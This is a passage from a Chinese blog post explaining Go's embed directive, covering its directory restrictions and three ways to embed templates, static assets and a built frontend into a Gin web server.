</table> <p>如果变量类型有误,程序将在编译期间报错。</p> <p>需要特别注意的是: <div class="box-warning box"><i class="box-icon-warning"></i> `go embed` 仅能嵌入当前目录及其子目录,无法嵌入上层目录。同时也不支持软链接。 </div> </p> <p>更绝的是,<code>go emebd</code> 禁止嵌入如 <code>.git</code> <code>.svn</code> 这些目录,官方认为这些目录不属于 package 的一部分,如果嵌入则会在编译时报错。可参见 Go 源码<code>src/cmd/go/internal/load/pkg.go#L2091-2107</code></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// isBadEmbedName reports whether name is the base name of a file that</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// can&#39;t or won&#39;t be included in modules and therefore shouldn&#39;t be treated</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// as existing for embedding.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">isBadEmbedName</span>(name <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> module.<span style="color:#d2a8ff;font-weight:bold">CheckFilePath</span>(name); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> name { </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Empty string should be impossible but make it bad.</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;&#34;</span>: </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Version control directories won&#39;t be present in module.</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;.bzr&#34;</span>, <span style="color:#a5d6ff">&#34;.hg&#34;</span>, <span style="color:#a5d6ff">&#34;.git&#34;</span>, <span style="color:#a5d6ff">&#34;.svn&#34;</span>: </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我原本还想着通过 <code>go embed</code> 在程序编译时读取 <code>.git/config</code> 配置敏感信息的&hellip;&hellip; 💔</p> <h2 id="三种嵌入文件的情况">三种嵌入文件的情况</h2> <p>在 Elaina 项目中使用 <code>go emebd</code> 时,我遇到了三种不同的目录结构,这三种目录结构也大致囊括了我们在实际项目会遇到的场景。这里分享一下我的做法。</p> <h3 id="嵌入多个文件">嵌入多个文件</h3> <p>在一个 Web 应用项目中常会有 <code>templates</code> 目录,存放了 HTML 的模板文件,它们常以 <code>.tmpl</code> 或者 <code>.html</code> 作为后缀名。</p> <pre tabindex="0"><code>. ├── sandbox.tmpl └── sandbox_404.tmpl </code></pre><p>要嵌入这些模板文件,我们可以在 <code>templates</code> 目录下创建一个 <code>fs.go</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> templates </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;embed&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed *.tmpl</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS </span></span></code></pre></div><p>这样就将所有的 <code>.tmpl</code> 后缀的文件嵌入进了 <code>FS</code> 变量中。 后面在路由中使用 <code>html/template</code> 库来从文件系统中加载并解析模板。以下是在 Gin 框架中的示例:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>tpl <span style="color:#ff7b72;font-weight:bold">:=</span> template.<span style="color:#d2a8ff;font-weight:bold">Must</span>(template.<span style="color:#d2a8ff;font-weight:bold">New</span>(<span style="color:#a5d6ff">&#34;&#34;</span>).<span style="color:#d2a8ff;font-weight:bold">ParseFS</span>(templates.FS, <span style="color:#a5d6ff">&#34;*&#34;</span>)) </span></span><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">SetHTMLTemplate</span>(tpl) </span></span></code></pre></div><h3 id="嵌入多个目录">嵌入多个目录</h3> <p>一个 Web 应用项目下往往还会有个 <code>public</code> 目录,其用于存储所有的静态资源。目录下会有诸如 <code>css</code> <code>js</code> <code>assets</code> 这样的子目录。</p> <pre tabindex="0"><code>. ├── css │   └── sandbox.css └── js └── sandbox.js </code></pre><p>这一次是嵌入多个目录,我们可以效仿上面的做法,在 <code>public</code> 目录下创建一个 <code>fs.go</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> public </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;embed&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed css js</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS </span></span></code></pre></div><p>在注册路由时,Gin çš„ <code>StaticFS</code> 需要一个实现了 <code>http.fs</code> 中 <code>FileSystem</code> 接口的变量。这里我们使用 <code>http.FS</code> 方法,将 <code>fs.FS</code> 转换成 <code>FileSystem</code>。二者其实都是只需实现 <code>Open(name string) (File, error)</code> 这个方法即可。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">StaticFS</span>(<span style="color:#a5d6ff">&#34;/static&#34;</span>, http.<span style="color:#d2a8ff;font-weight:bold">FS</span>(public.FS)) </span></span></code></pre></div><h3 id="嵌入子目录">嵌入子目录</h3> <p>有时我们的项目是前后端分离的,需要将打包编译好的前端嵌入进来。编译好的前端往往会在 <code>dist</code> 目录下。</p> <pre tabindex="0"><code>. ├── css │   ├── app.3ca5488f.css │   └── chunk-vendors.08a0794a.css ├── index.html ├── js │   ├── app.1bdd8cf2.js │   ├── app.1bdd8cf2.js.map │   ├── chunk-2d0ac239.c72b0c7d.js │   ├── chunk-2d0ac239.c72b0c7d.js.map ├── manifest.json ├── precache-manifest.a2e4eb7c729e7ecf28ada54a6ea672b4.js └── service-worker.js </code></pre><p>而我们并不能效仿前两种情况,创建一个 <code>fs.go</code> 文件在 <code>dist</code> 目录下。原因有两点:</p> <ol> <li><code>dist</code> 目录往往是写在 <code>.gitignore</code> 中被忽略的。</li> <li><code>dist</code> 中既有文件又有目录,若指定其嵌入 <code>*</code> 的话,<code>fs.go</code> 文件也会被嵌入进来。</li> </ol> <p>因此这里我们将 <code>fs.go</code> 放置于 <code>dist</code> 的父目录中。文件内容还是类似的:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">package</span> frontend </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;embed&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed dist</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> FS embed.FS </span></span></code></pre></div><p><div class="box-warning box"><i class="box-icon-warning"></i> 需要注意的是,若直接使用 `frontend.FS` 注册路由,所有的文件路径都会有 `dist/` 前缀。我们需要通过形如 `http://localhost:8080/dist/index.html` 的地址进行访问,这显然不是我们想要的。 </div> 因此,这里需要使用 <code>fs.Sub()</code> 方法,来进入 <code>frontend.FS</code> 的下层文件夹,并返回一个新的 <code>FS</code>。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fe, err <span style="color:#ff7b72;font-weight:bold">:=</span> fs.<span style="color:#d2a8ff;font-weight:bold">Sub</span>(frontend.FS, <span style="color:#a5d6ff">&#34;dist&#34;</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Fatal</span>(<span style="color:#a5d6ff">&#34;Failed to sub path `dist`: %v&#34;</span>, err) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span>r.<span style="color:#d2a8ff;font-weight:bold">StaticFS</span>(<span style="color:#a5d6ff">&#34;/m&#34;</span>, http.<span style="color:#d2a8ff;font-weight:bold">FS</span>(fe)) </span></span></code></pre></div><p>其实前两种情形都可以用这第三种 <code>fs.Sub()</code> 进入目录来解决(即分别进入 <code>templates</code> <code>public</code> 目录)。 但这将失去变量 <code>templates.FS</code> <code>public.FS</code> 这些清晰易懂的包名命名。</p> <h2 id="总结">总结</h2> <p>以上就是我摸索出的 <code>go embed</code> 在实际项目中的使用方式。可能不大准确,欢迎大家纠正以及提出你所认为的最佳实践。</p>